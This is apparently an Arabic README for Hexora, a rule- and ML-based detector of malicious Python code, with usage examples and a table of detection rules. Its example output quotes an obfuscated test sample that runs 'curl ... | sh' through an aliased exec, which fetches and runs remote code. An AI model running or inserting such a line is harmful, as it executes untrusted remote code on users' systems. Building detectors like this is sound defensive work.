
تحليل ثابت للكود الخبيث بلغة بايثون
هيكسورا هي أداة تحليل ثابتة مصممة لاكتشاف الأنماط الضارة والخطيرة في كود بايثون. تجمع بين محرك تحليل ثابت قائم على القواعد ونموذج تعلّم آلي يُسجّل ملفات المصدر بأكملها لتصنيفها كضارة أو حميدة.
يمكن استخدامها من أجل:
للاطلاع على أمثلة للمخرجات، يرجى زيارة ملف docs/examples.md.
يتطلب بايثون 3.9+.
pip install hexora
باستخدام uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: القراءة من الحافظة قد تُستخدم لتسريب بيانات حساسة.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= الثقة: عالية
المساعدة: الوصول إلى الحافظة يمكن استخدامه لتسريب بيانات حساسة مثل كلمات المرور والمفاتيح.
النتيجة المستندة إلى التعلم الآلي للملف: 0.93
warning[HX3000]: تنفيذ محتمل لكود غير مرغوب
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
حيث python3.11 هو إصدار بايثون في البيئة الافتراضية.
نصائح:
--exclude لكبت بعض رموز القواعد (مثل الاستيرادات المزعجة) لجولة معينة--min-confidence للتركيز على النتائج عالية الثقة فقط.تشير الثقة إلى مدى احتمالية أن يكون جزء معين من الكود خبيثًا. بعض المكتبات أو مقتطفات الكود تُستخدم لأغراض مشروعة، ومن الصعب التمييز بين حالات الاستخدام المشروعة والحالات الخبيثة. ولهذا السبب، بعض التطابقات تكون ذات مستوى ثقة منخفض.
بعض القواعد يمكن أن يكون لها مستويات ثقة مختلفة. تجنب تصفية الكثير من القواعد بواسطة الرموز إلا إذا كنت واثقًا جدًا. على سبيل المثال، تنفيذ الكود والأوامر يمكن أن يكون ذو ثقة متوسطة أو عالية أو عالية جدًا. هذا يعتمد على كيفية تنفيذ الكود. إذا اكتشفنا محاولة تمويه، نرفع مستوى الثقة.
على سبيل المثال، هذا الكود سيكون ذو ثقة عالية:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'يمكن استخدام pyperclip لنسخ ولصق البيانات من الحافظة.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'القراءة من الحافظة قد تُستخدم لتسريب بيانات حساسة.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # تدقيق ملف واحد
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
عند تطوير قواعد جديدة، يمكنك استخدام مجموعات بيانات ضارة موجودة مثل مجموعة بيانات الحزم البرمجية الضارة.
بعد الاستنساخ، وجّه أداة المقارنة إلى دليل مجموعة البيانات:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
تتم إضافة قواعد جديدة بانتظام.
حاليًا، القواعد التالية متاحة:
للتحليل، نستخدم محلل AST من مكتبة ruff.
| الرمز | الاسم | الوصف |
|---|
| HX1000 | تعداد التطبيقات | تعداد مشبوه للتطبيقات. |
| HX1010 | تعداد المتصفحات | تعداد مشبوه للمتصفحات (التطبيقات، الكوكيز، السجل، إلخ). |
| HX1020 | تعداد المسارات | تعداد مشبوه للمسارات. |
| HX1030 | بصمة نظام التشغيل | بصمة مشبوهة لنظام التشغيل. |
| HX2000 | قراءة الحافظة | القراءة من الحافظة. |
| HX2010 | الوصول إلى المتغيرات البيئية | الوصول إلى متغير بيئي حساس. |
| HX2020 | التقاط لقطة شاشة | التقاط لقطات شاشة من العرض. |
| HX3000 | تنفيذ كود | تنفيذ كود محتمل. |
| HX3010 | تنفيذ أوامر شل | تنفيذ أمر شل. |
| HX3040 | حقن DLL | حقن DLL محتمل. |
| HX3050 | تنفيذ خطير | تنفيذ أمر خطير داخل أمر شل. |
| HX3060 | استدعاء مشبوه | استدعاء دالة مشبوه. |
| HX4000 | تنفيذ أوامر شل مموهة | تنفيذ أمر شل ربما مموه. |
| HX4010 | تنفيذ كود مموه | تنفيذ كود ربما مموه. |
| HX5000 | استيراد dunder | استخدام مشبوه لـ __import__. |
| HX5010 | استيراد مشبوه | استيراد مشبوه. |
| HX5020 | استيراد ctypes | استيراد ctypes مشبوه. |
| HX5030 | استيراد pickle | استيراد pickle مشبوه. |
| HX5040 | استيراد struct | استيراد struct مشبوه. |
| HX5050 | استيراد socket | استيراد socket مشبوه. |
| HX5060 | استيراد marshal | استيراد marshal مشبوه. |
| HX6000 | سلسلة Base64 | تم اكتشاف سلسلة طويلة مشفرة بـ Base64؛ احتمال تمويه الكود. |
| HX6010 | قيم حرفية سداسية عشرية | تم اكتشاف قائمة من القيم الحرفية المشفرة سداسيًا؛ احتمال حمولة. |
| HX6020 | سلسلة سداسية عشرية | تم اكتشاف سلسلة طويلة مشفرة سداسيًا؛ احتمال حمولة. |
| HX6030 | قيم صحيحة حرفية | تم اكتشاف قائمة كبيرة من القيم الصحيحة الحرفية؛ احتمال تمويه الكود. |
| HX6040 | CVE في قيمة حرفية | تحتوي القيمة الحرفية على معرف CVE. |
| HX6050 | قيمة حرفية مشبوهة | تم اكتشاف قيمة حرفية مشبوهة؛ احتمال تعداد بيانات. |
| HX6060 | اجتياز المسار | اجتياز مسار مشبوه. |
| HX6070 | إضافة متصفح | تعداد إضافات متصفح حساسة. |
| HX6080 | Webhook | تم اكتشاف webhook مشبوه. احتمال تسريب بيانات. |
| HX6090 | رمز Telegram | تم اكتشاف رمز بوت Telegram في قيمة سلسلة حرفية. |
| HX7000 | اسم دالة مشبوه | اسم دالة مشبوه. |
| HX7010 | اسم معامل مشبوه | اسم معامل مشبوه. |
| HX7020 | اسم متغير مشبوه | اسم متغير مشبوه. |
| HX9000 | تسريب بيانات | تسريب بيانات محتمل. |
| HX8000 | تنزيل ثنائي | تنزيل ثنائي مشبوه. |
| HX8010 | متغير builtins | استخدام مشبوه لمتغير builtin. |
| HX8020 | تعليق مشبوه | تعليق مشبوه. |
| HX8030 | كتابة مشبوهة | كتابة مشبوهة إلى نظام الملفات. |
| HX8040 | خطاف التثبيت | إعداد خطاف تثبيت مشبوه. |